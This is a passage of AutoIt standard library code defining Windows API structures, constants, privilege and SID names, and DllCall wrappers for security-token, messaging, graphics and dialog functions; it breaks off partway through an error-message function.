Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
Global Const $fc_nooverwrite = 0
Global Const $fc_overwrite = 1
Global Const $ft_modified = 0
Global Const $ft_created = 1
Global Const $ft_accessed = 2
Global Const $fo_read = 0
Global Const $fo_append = 1
Global Const $fo_overwrite = 2
Global Const $fo_binary = 16
Global Const $fo_unicode = 32
Global Const $fo_utf16_le = 32
Global Const $fo_utf16_be = 64
Global Const $fo_utf8 = 128
Global Const $fo_utf8_nobom = 256
Global Const $eof = -1
Global Const $fd_filemustexist = 1
Global Const $fd_pathmustexist = 2
Global Const $fd_multiselect = 4
Global Const $fd_promptcreatenew = 8
Global Const $fd_promptoverwrite = 16
Global Const $create_new = 1
Global Const $create_always = 2
Global Const $open_existing = 3
Global Const $open_always = 4
Global Const $truncate_existing = 5
Global Const $invalid_set_file_pointer = -1
Global Const $file_begin = 0
Global Const $file_current = 1
Global Const $file_end = 2
Global Const $file_attribute_readonly = 1
Global Const $file_attribute_hidden = 2
Global Const $file_attribute_system = 4
Global Const $file_attribute_directory = 16
Global Const $file_attribute_archive = 32
Global Const $file_attribute_device = 64
Global Const $file_attribute_normal = 128
Global Const $file_attribute_temporary = 256
Global Const $file_attribute_sparse_file = 512
Global Const $file_attribute_reparse_point = 1024
Global Const $file_attribute_compressed = 2048
Global Const $file_attribute_offline = 4096
Global Const $file_attribute_not_content_indexed = 8192
Global Const $file_attribute_encrypted = 16384
Global Const $file_share_read = 1
Global Const $file_share_write = 2
Global Const $file_share_delete = 4
Global Const $generic_all = 268435456
Global Const $generic_execute = 536870912
Global Const $generic_write = 1073741824
Global Const $generic_read = -2147483648
Global Const $error_no_token = 1008
Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
Global Const $se_audit_name = "SeAuditPrivilege"
Global Const $se_backup_name = "SeBackupPrivilege"
Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
Global Const $se_create_token_name = "SeCreateTokenPrivilege"
Global Const $se_debug_name = "SeDebugPrivilege"
Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
Global Const $se_impersonate_name = "SeImpersonatePrivilege"
Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
Global Const $se_restore_name = "SeRestorePrivilege"
Global Const $se_security_name = "SeSecurityPrivilege"
Global Const $se_shutdown_name = "SeShutdownPrivilege"
Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
Global Const $se_systemtime_name = "SeSystemtimePrivilege"
Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
Global Const $se_tcb_name = "SeTcbPrivilege"
Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
Global Const $se_undock_name = "SeUndockPrivilege"
Global Const $se_privilege_enabled_by_default = 1
Global Const $se_privilege_enabled = 2
Global Const $se_privilege_removed = 4
Global Const $se_privilege_used_for_access = -2147483648
Global Const $se_group_mandatory = 1
Global Const $se_group_enabled_by_default = 2
Global Const $se_group_enabled = 4
Global Const $se_group_owner = 8
Global Const $se_group_use_for_deny_only = 16
Global Const $se_group_integrity = 32
Global Const $se_group_integrity_enabled = 64
Global Const $se_group_resource = 536870912
Global Const $se_group_logon_id = -1073741824
Global Enum $tokenprimary = 1, $tokenimpersonation
Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
Global Const $token_assign_primary = 1
Global Const $token_duplicate = 2
Global Const $token_impersonate = 4
Global Const $token_query = 8
Global Const $token_query_source = 16
Global Const $token_adjust_privileges = 32
Global Const $token_adjust_groups = 64
Global Const $token_adjust_default = 128
Global Const $token_adjust_sessionid = 256
Global Const $token_all_access = 983551
Global Const $token_read = 131080
Global Const $token_write = 131296
Global Const $token_execute = 131072
Global Const $token_has_traverse_privilege = 1
Global Const $token_has_backup_privilege = 2
Global Const $token_has_restore_privilege = 4
Global Const $token_has_admin_group = 8
Global Const $token_is_restricted = 16
Global Const $token_session_not_referenced = 32
Global Const $token_sandbox_inert = 64
Global Const $token_has_impersonate_privilege = 128
Global Const $rights_delete = 65536
Global Const $read_control = 131072
Global Const $write_dac = 262144
Global Const $write_owner = 524288
Global Const $synchronize = 1048576
Global Const $standard_rights_required = 983040
Global Const $standard_rights_read = $read_control
Global Const $standard_rights_write = $read_control
Global Const $standard_rights_execute = $read_control
Global Const $standard_rights_all = 2031616
Global Const $specific_rights_all = 65535
Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
Global Const $logon_with_profile = 1
Global Const $logon_netcredentials_only = 2
Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
Global Const $sid_administrators = "S-1-5-32-544"
Global Const $sid_users = "S-1-5-32-545"
Global Const $sid_guests = "S-1-5-32-546"
Global Const $sid_account_operators = "S-1-5-32-548"
Global Const $sid_server_operators = "S-1-5-32-549"
Global Const $sid_print_operators = "S-1-5-32-550"
Global Const $sid_backup_operators = "S-1-5-32-551"
Global Const $sid_replicator = "S-1-5-32-552"
Global Const $sid_owner = "S-1-3-0"
Global Const $sid_everyone = "S-1-1-0"
Global Const $sid_network = "S-1-5-2"
Global Const $sid_interactive = "S-1-5-4"
Global Const $sid_system = "S-1-5-18"
Global Const $sid_authenticated_users = "S-1-5-11"
Global Const $sid_schannel_authentication = "S-1-5-64-14"
Global Const $sid_digest_authentication = "S-1-5-64-21"
Global Const $sid_nt_service = "S-1-5-80"
Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
Global Const $sid_low_mandatory_level = "S-1-16-4096"
Global Const $sid_medium_mandatory_level = "S-1-16-8192"
Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
Global Const $sid_high_mandatory_level = "S-1-16-12288"
Global Const $sid_system_mandatory_level = "S-1-16-16384"
Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
Global Const $sid_all_services = "S-1-5-80-0"
Func _winapi_getlasterror($curerr = @error, $curext = @extended)
Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
Return SetError($curerr, $curext, $aresult[0])
EndFunc
Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
Return SetError($curerr, $curext)
EndFunc
Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
Return True
EndFunc
Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[6]
EndFunc
Func _security__getaccountsid($saccount, $ssystem = "")
Local $aacct = _security__lookupaccountname($saccount, $ssystem)
If @error Then Return SetError(@error, @extended, 0)
If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
Return ""
EndFunc
Func _security__getlengthsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
If @error Then Return SetError(2, @extended, 0)
Return $acall[0]
EndFunc
Func _security__gettokeninformation($htoken, $iclass)
Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0)
Local $ilen = $acall[5]
Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
$acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Return $tbuffer
EndFunc
Func _security__impersonateself($ilevel = $securityimpersonation)
Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__isvalidsid($psid)
Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__lookupaccountname($saccount, $ssystem = "")
Local $tdata = DllStructCreate("byte SID[256]")
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Local $aacct[3]
$aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupaccountsid($vsid, $ssystem = "")
Local $psid, $aacct[3]
If IsString($vsid) Then
$psid = _security__stringsidtosid($vsid)
Else
$psid = $vsid
EndIf
If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
Local $typesystem = "ptr"
If $ssystem Then $typesystem = "wstr"
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Local $aacct[3]
$aacct[0] = $acall[3]
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupprivilegevalue($ssystem, $sname)
Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openprocesstoken($hprocess, $iaccess)
Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
If @error Then Return SetError(1, @extended, 0)
Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Return $acall[4]
EndFunc
Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
If $htoken = 0 Then
If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
$htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
EndIf
Return $htoken
EndFunc
Func _security__setprivilege($htoken, $sprivilege, $fenable)
Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
If $iluid = 0 Then Return SetError(1, @extended, False)
Local $tcurrstate = DllStructCreate($tagtoken_privileges)
Local $icurrstate = DllStructGetSize($tcurrstate)
Local $tprevstate = DllStructCreate($tagtoken_privileges)
Local $iprevstate = DllStructGetSize($tprevstate)
Local $trequired = DllStructCreate("int Data")
DllStructSetData($tcurrstate, "Count", 1)
DllStructSetData($tcurrstate, "LUID", $iluid)
If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
DllStructSetData($tprevstate, "Count", 1)
DllStructSetData($tprevstate, "LUID", $iluid)
Local $iattributes = DllStructGetData($tprevstate, "Attributes")
If $fenable Then
$iattributes = BitOR($iattributes, $se_privilege_enabled)
Else
$iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
EndIf
DllStructSetData($tprevstate, "Attributes", $iattributes)
If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
Return True
EndFunc
Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
Return True
EndFunc
Func _security__sidtostringsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
Local $pstringsid = $acall[2]
Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
_winapi_localfree($pstringsid)
Return $ssid
EndFunc
Func _security__sidtypestr($itype)
Switch $itype
Case $sidtypeuser
Return "User"
Case $sidtypegroup
Return "Group"
Case $sidtypedomain
Return "Domain"
Case $sidtypealias
Return "Alias"
Case $sidtypewellknowngroup
Return "Well Known Group"
Case $sidtypedeletedaccount
Return "Deleted Account"
Case $sidtypeinvalid
Return "Invalid"
Case $sidtypeunknown
Return "Unknown Type"
Case $sidtypecomputer
Return "Computer"
Case $sidtypelabel
Return "A mandatory integrity label SID"
Case Else
Return "Unknown SID Type"
EndSwitch
EndFunc
Func _security__stringsidtosid($ssid)
Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Local $psid = $acall[2]
Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
_winapi_localfree($psid)
Return $tsid
EndFunc
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Global $__gainprocess_winapi[64][2] = [[0, 0]]
Global $__gawinlist_winapi[64][2] = [[0, 0]]
Global Const $__winapiconstant_wm_setfont = 48
Global Const $__winapiconstant_fw_normal = 400
Global Const $__winapiconstant_default_charset = 1
Global Const $__winapiconstant_out_default_precis = 0
Global Const $__winapiconstant_clip_default_precis = 0
Global Const $__winapiconstant_default_quality = 0
Global Const $__winapiconstant_format_message_allocate_buffer = 256
Global Const $__winapiconstant_format_message_from_system = 4096
Global Const $__winapiconstant_logpixelsx = 88
Global Const $__winapiconstant_logpixelsy = 90
Global Const $hgdi_error = Ptr(-1)
Global Const $invalid_handle_value = Ptr(-1)
Global Const $clr_invalid = -1
Global Const $__winapiconstant_flashw_caption = 1
Global Const $__winapiconstant_flashw_tray = 2
Global Const $__winapiconstant_flashw_timer = 4
Global Const $__winapiconstant_flashw_timernofg = 12
Global Const $__winapiconstant_gw_hwndnext = 2
Global Const $__winapiconstant_gw_child = 5
Global Const $__winapiconstant_di_mask = 1
Global Const $__winapiconstant_di_image = 2
Global Const $__winapiconstant_di_normal = 3
Global Const $__winapiconstant_di_compat = 4
Global Const $__winapiconstant_di_defaultsize = 8
Global Const $__winapiconstant_di_nomirror = 16
Global Const $__winapiconstant_display_device_attached_to_desktop = 1
Global Const $__winapiconstant_display_device_primary_device = 4
Global Const $__winapiconstant_display_device_mirroring_driver = 8
Global Const $__winapiconstant_display_device_vga_compatible = 16
Global Const $__winapiconstant_display_device_removable = 32
Global Const $__winapiconstant_display_device_modespruned = 134217728
Global Const $null_brush = 5
Global Const $null_pen = 8
Global Const $black_brush = 4
Global Const $dkgray_brush = 3
Global Const $dc_brush = 18
Global Const $gray_brush = 2
Global Const $hollow_brush = $null_brush
Global Const $ltgray_brush = 1
Global Const $white_brush = 0
Global Const $black_pen = 7
Global Const $dc_pen = 19
Global Const $white_pen = 6
Global Const $ansi_fixed_font = 11
Global Const $ansi_var_font = 12
Global Const $device_default_font = 14
Global Const $default_gui_font = 17
Global Const $oem_fixed_font = 10
Global Const $system_font = 13
Global Const $system_fixed_font = 16
Global Const $default_palette = 15
Global Const $mb_precomposed = 1
Global Const $mb_composite = 2
Global Const $mb_useglyphchars = 4
Global Const $ulw_alpha = 2
Global Const $ulw_colorkey = 1
Global Const $ulw_opaque = 4
Global Const $wh_callwndproc = 4
Global Const $wh_callwndprocret = 12
Global Const $wh_cbt = 5
Global Const $wh_debug = 9
Global Const $wh_foregroundidle = 11
Global Const $wh_getmessage = 3
Global Const $wh_journalplayback = 1
Global Const $wh_journalrecord = 0
Global Const $wh_keyboard = 2
Global Const $wh_keyboard_ll = 13
Global Const $wh_mouse = 7
Global Const $wh_mouse_ll = 14
Global Const $wh_msgfilter = -1
Global Const $wh_shell = 10
Global Const $wh_sysmsgfilter = 6
Global Const $wpf_asyncwindowplacement = 4
Global Const $wpf_restoretomaximized = 2
Global Const $wpf_setminposition = 1
Global Const $kf_extended = 256
Global Const $kf_altdown = 8192
Global Const $kf_up = 32768
Global Const $llkhf_extended = BitShift($kf_extended, 8)
Global Const $llkhf_injected = 16
Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
Global Const $llkhf_up = BitShift($kf_up, 8)
Global Const $ofn_allowmultiselect = 512
Global Const $ofn_createprompt = 8192
Global Const $ofn_dontaddtorecent = 33554432
Global Const $ofn_enablehook = 32
Global Const $ofn_enableincludenotify = 4194304
Global Const $ofn_enablesizing = 8388608
Global Const $ofn_enabletemplate = 64
Global Const $ofn_enabletemplatehandle = 128
Global Const $ofn_explorer = 524288
Global Const $ofn_extensiondifferent = 1024
Global Const $ofn_filemustexist = 4096
Global Const $ofn_forceshowhidden = 268435456
Global Const $ofn_hidereadonly = 4
Global Const $ofn_longnames = 2097152
Global Const $ofn_nochangedir = 8
Global Const $ofn_nodereferencelinks = 1048576
Global Const $ofn_nolongnames = 262144
Global Const $ofn_nonetworkbutton = 131072
Global Const $ofn_noreadonlyreturn = 32768
Global Const $ofn_notestfilecreate = 65536
Global Const $ofn_novalidate = 256
Global Const $ofn_overwriteprompt = 2
Global Const $ofn_pathmustexist = 2048
Global Const $ofn_readonly = 1
Global Const $ofn_shareaware = 16384
Global Const $ofn_showhelp = 16
Global Const $ofn_ex_noplacesbar = 1
Global Const $tmpf_fixed_pitch = 1
Global Const $tmpf_vector = 2
Global Const $tmpf_truetype = 4
Global Const $tmpf_device = 8
Global Const $duplicate_close_source = 1
Global Const $duplicate_same_access = 2
Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
Func _winapi_attachconsole($iprocessid = -1)
Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_beep($ifreq = 500, $iduration = 1000)
Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
Return SetError(@error, @extended, $tpoint)
EndFunc
Func _winapi_closehandle($hobject)
Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_commdlgextendederror()
Local Const $cderr_dialogfailure = 65535
Local Const $cderr_findresfailure = 6
Local Const $cderr_initialization = 2
Local Const $cderr_loadresfailure = 7
Local Const $cderr_loadstrfailure = 5
Local Const $cderr_lockresfailure = 8
Local Const $cderr_memallocfailure = 9
Local Const $cderr_memlockfailure = 10
Local Const $cderr_nohinstance = 4
Local Const $cderr_nohook = 11
Local Const $cderr_notemplate = 3
Local Const $cderr_registermsgfail = 12
Local Const $cderr_structsize = 1
Local Const $fnerr_buffertoosmall = 12291
Local Const $fnerr_invalidfilename = 12290
Local Const $fnerr_subclassfailure = 12289
Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
If @error Then Return SetError(@error, @extended, 0)
Switch $aresult[0]
Case $cderr_dialogfailure
Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
Case $cderr_findresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
Case $cderr_initialization
Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
Case $cderr_loadresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
Case $cderr_loadstrfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
Case $cderr_lockresfailure
Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
Case $cderr_memallocfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
Case $cderr_memlockfailure
Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
Case $cderr_nohinstance
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
Case $cderr_nohook
Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
Case $cderr_notemplate
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
Case $cderr_registermsgfail
Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
Case $cderr_structsize
Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
